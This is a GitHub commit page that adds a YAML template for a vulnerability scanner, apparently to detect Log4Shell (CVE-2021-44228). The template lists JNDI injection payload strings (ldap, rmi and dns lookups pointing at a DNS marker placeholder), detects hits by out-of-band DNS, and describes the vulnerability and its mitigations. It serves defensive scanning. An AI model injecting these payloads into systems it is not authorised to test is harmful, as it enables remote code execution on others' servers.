Skip to content

Commit 39002f4

Browse files
authored
Merge pull request #80 from 0x566164696D/Log4j2_rce
dsl for Log4j2 rce
2 parents 56fc057 + 6669b13 commit 39002f4

File tree

1 file changed

+26
-0
lines changed

1 file changed

+26
-0
lines changed

CVE-2021-44228_Log4j_rce.yaml

Lines changed: 26 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,26 @@
1+
generate:
2+
- payload:
3+
- '${jndi:ldap://DNS_MARKER}'
4+
- '${jndi:ldap://DNS_MARKER}/'
5+
- '${jndi:rmi://DNS_MARKER//}'
6+
- '${jndi:dns://DNS_MARKER}'
7+
- method:
8+
- replace
9+
detect:
10+
- oob:
11+
- dns
12+
meta-info:
13+
- title: "Log4j Remote Code Execution (CVE-2021-44228)"
14+
- description: 'Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. In previous releases (>2.10) this behavior can be mitigated by setting system property "log4j2.formatMsgNoLookups" to “true” or by removing the JndiLookup class from the classpath (example: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class). Java 8u121 (see https://www.oracle.com/java/technologies/javase/8u121-relnotes.html) protects against remote code execution by defaulting "com.sun.jndi.rmi.object.trustURLCodebase" and "com.sun.jndi.cosnaming.object.trustURLCodebase" to "false"'
15+
- applicable_for:
16+
- attack_rechecker
17+
- fast
18+
- threat: 95
19+
- type: rce
20+
- tags:
21+
- Java
22+
- log4j
23+
- CVE-2021-44228
24+
- CWE-502
25+
- CWE-400
26+
- CWE-20

0 commit comments

Comments
 (0)